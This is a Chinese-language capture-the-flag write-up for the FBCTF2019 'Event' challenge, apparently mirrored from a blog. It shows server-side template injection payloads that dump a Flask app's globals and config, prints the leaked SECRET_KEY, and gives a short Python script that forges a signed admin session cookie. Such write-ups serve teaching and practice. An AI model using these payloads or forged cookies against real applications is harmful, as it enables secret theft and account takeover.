zoukankan      html  css  js  c++  java
  • 刷题[FBCTF2019]Event

    解题思路

    信息收集

    打开发现是这样的登陆框,信息泄露,弱口令什么的尝试一下,无果,正常注册登陆

    发现需要通过admin用户登陆,并且发现有/flag这样的路由,猜测后台为python编写

    抓包发现有看不懂的三段cookie,还有三个参数,猜测有可能是jwt,测试了一下也无果,猜测思路应该是找到提示,伪造cookie登陆为admin获得flag。猜测可能是flask伪造登陆常见考点了

    ssti

    通过测试,使用__class__或者__dict__在event_important处可以爆出相关内容

    payload:__class__.__init__.__globals__

    通过此获取function所处空间下可使用的module、方法以及所有变量

    发现确实是使用flask模板

    payload:__class__.__init__.__globals__[app].config

    通过此获取配置文件信息

    'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

    flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

    exp

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
    
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
    @app.route('/')
    def index():
        print(session_serializer.dumps("admin"))
    
    index()
    

    网上有一篇exp,涉及到session原理,具体可以看此篇讲解,我总结一下

    1. 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
    2. 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
    3. SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

    所以使用的是SecureCookieSessionInterface().get_signing_serializer(app).dumps

    返回admin的cookie值,替换user的cookie登陆,即可获得flag

    总结思路

    遇到/xx此类型,想到路由,使用python作为后端代码,一般即为ssti,此题为flask安全登陆问题,通过篡改cookie,实现登陆伪造

    知识点

    • flask安全漏洞
  • 相关阅读:
    MFC对话框编程详细学习笔记
    VS2013 MFC基于对话框编程
    Java学到什么程度可以找到第一份工作
    搞定操作系统面试,看这篇就够了
    搞定计算机网络面试,看这篇就够了
    一千行 MySQL 学习笔记
    后端工程师技术面试复习大纲
    爬虫功能
    昨天的一卦,真的太形象,可惜我就是不敢断
    基于maven+ssm的增删改查之批量删除
  • 原文地址:https://www.cnblogs.com/karsa/p/13726823.html
Copyright © 2011-2022 走看看